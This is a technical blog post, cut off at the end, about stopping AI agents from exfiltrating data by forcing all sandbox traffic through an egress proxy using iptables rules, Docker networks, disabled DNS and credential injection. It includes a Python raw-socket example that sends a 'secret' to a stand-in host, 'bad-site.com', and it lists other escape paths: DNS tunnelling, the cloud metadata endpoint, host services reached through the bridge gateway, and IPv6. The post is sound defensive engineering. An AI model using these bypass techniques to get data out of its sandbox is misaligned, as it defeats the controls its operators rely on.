How to force AI agents to use an egress proxy Engineers are implementing network-level firewall rules to force AI agents to use an egress proxy, preventing data exfiltration through raw sockets or DNS tunneling. The approach uses iptables on per-bridge Linux networks to block all outbound traffic except TCP connections to a single proxy IP, while dropping UDP, ICMP, and limiting connection rates. This ensures agents cannot bypass the proxy by ignoring environment variables or exploiting Docker's internal DNS resolver. Most AI agents need internet access to be useful. At the most fundamental level, they need it to call the model provider's API 1, but also for things like fetching documentation, cloning public repos, or searching for information. You might start off by giving it internet access. Now it can call api.anthropic.com , but it can also curl your secrets to a random server. It can install the packages you need, but it can also hit 169.254.169.254 , the AWS instance metadata endpoint 2. But if you take away the access, the agent becomes less useful. How do we give the agent enough internet to be useful, without giving it unrestricted egress? The goal I'm going to assume that we are running the agents in a sandbox environment. Then our goal is simple: the only way out of the sandbox is through the proxy. The proxy can inspect requests, permit or deny them, and even modify them. For that guarantee to hold, enforcement has to live below the application layer. The agent could potentially change environment variables, ignore SDK configurations, or even open raw sockets. The network layer has to enforce this. The proxy is just the policy engine on the one outbound path that remains. First attempt: environment variables The first thing to try is to set the proxy environment variables. export HTTP PROXY=http://proxy:8080 export HTTPS PROXY=http://proxy:8080 export ALL PROXY=http://proxy:8080 This works for most software, curl , requests , the Anthropic/OpenAI SDKs, etc. But it's up to the client to honor this convention. python import socket s = socket.socket s.connect "bad-site.com", 80 body = b"secret" s.sendall b"POST / HTTP/1.1\r\n" b"Host: bad-site.com\r\n" b"Content-Length: " + str len body .encode + b"\r\n" b"Connection: close\r\n" b"\r\n" + body This is all that is needed for the container to bypass the proxy and reach bad-site.com . We need something that enforces it. Second attempt: Docker networks I'm going to assume Docker + gVisor for the examples, but the same high-level pattern applies to Firecracker and similar sandbox boundaries. 3 fn:3 Docker has a concept of an internal network: a network with no default route to the outside world, only to other containers. If we then put the agent on the internal sandbox network and put the proxy on both the sandbox and an egress network, then the proxy becomes the only way out. networks: sandbox: internal: true egress: driver: bridge Better, but still with some issues: internal: true blocks default-route egress, but Docker still attaches its embedded DNS resolver at 127.0.0.11 to containers on that network. DNS can act as a covert channel. An agent that can make DNS queries can exfiltrate data one hostname lookup at a time. The agent can also reach the proxy container on any port it exposes, not just the proxy port. If anything else lands on the same sandbox network, the agent can talk to it. A container may also reach host-side services through its bridge gateway IP, which hits the host's INPUT chain rather than the FORWARD chain. And unless you explicitly handle it, IPv6 is another path; IPv4 iptables rules don't touch IPv6 traffic. Third attempt: firewall rules We need to ensure that the sandbox can connect to only one destination: the proxy. In our production setup, each agent run gets its own Linux bridge with its own iptables chain and ipset. The rules on the FORWARD chain, which is the egress path from the container, are roughly: ESTABLISHED,RELATED to ACCEPT, as the fast path for connections already open.- Loopback to ACCEPT. - ICMP to DROP. We do not need it for this sandbox, and it is another tunnelling path. - UDP to DROP. This intentionally kills DNS. - TCP SYN rate limit to DROP excess connections. - TCP SYN concurrent connection limit to DROP excess connections. - Destination in the per-bridge ipset to ACCEPT, otherwise LOG and DROP. The ipset contains exactly one entry: proxy ip, proxy port . Nothing else gets through. A separate INPUT rule drops traffic from the bridge to the host except for the proxy port. Without this, a container could reach services on the host by aiming at its own bridge gateway IP. IPv6 is disabled on the bridge. Bandwidth is policed per bridge with tc tbf , so one runaway agent cannot saturate the uplink. The proxy environment variables are still present in the container, but only as a convenience. They help SDKs and package managers find the proxy without extra configuration. They play no role in security. The security comes from the fact that the network will not accept packets to anywhere else. No DNS We make DNS unavailable inside the sandbox by removing the normal resolver paths and dropping DNS egress in the firewall rules. The proxy's own hostname is injected through /etc/hosts inside the container so SDKs can still reach it, and all upstream hostname resolution happens in the proxy. Some clients need a hint that they should not try to resolve target hostnames themselves. E.g. Claude Code needs a PROXY RESOLVES HOSTS=1 -style flag so it understands that the proxy is responsible for upstream resolution. Killing DNS removes it as a covert channel. But it also means hostname policy is something the proxy controls. If the agent resolves hostnames itself, you can get SSRF and rebinding cases where the name looks allowed but the IP is not. The proxy needs to be the thing that resolves and checks the destination. What a firewall cannot do At this point, every outbound packet goes to the proxy. So why not just use firewall rules and skip the proxy? A firewall decides whether a connection can exist, but doesn't normally understand the intent of the connection. You can allow api.anthropic.com:443 , but that allows every possible API call to Anthropic: every model, every operation, every credential. A firewall wouldn't inject the right API key. It doesn't understand the difference between pushing to a public vs a private repo. The firewall is necessary to ensure the proxy is used, but it is not enough on its own. What does the proxy do In our case, the proxy is an HTTP S proxy; arbitrary TCP egress is not allowed. That is what lets it make decisions based on hostnames, methods, paths, headers, and payloads rather than just IPs and ports. Credential injection We never want to store credentials inside a sandbox, instead we give the agent placeholder credentials: ANTHROPIC API KEY=sandbox-placeholder OPENAI API KEY=sandbox-placeholder They exist so SDK constructors don't crash during initialisation. Then on every outbound request, the proxy rewrites the upstream auth headers with the real secret from a secret store. The agent never receives the real secret, so it cannot directly exfiltrate it. Per-run allowlists Every sandbox run gets a short lived JWT embedded in the proxy URL: http://x: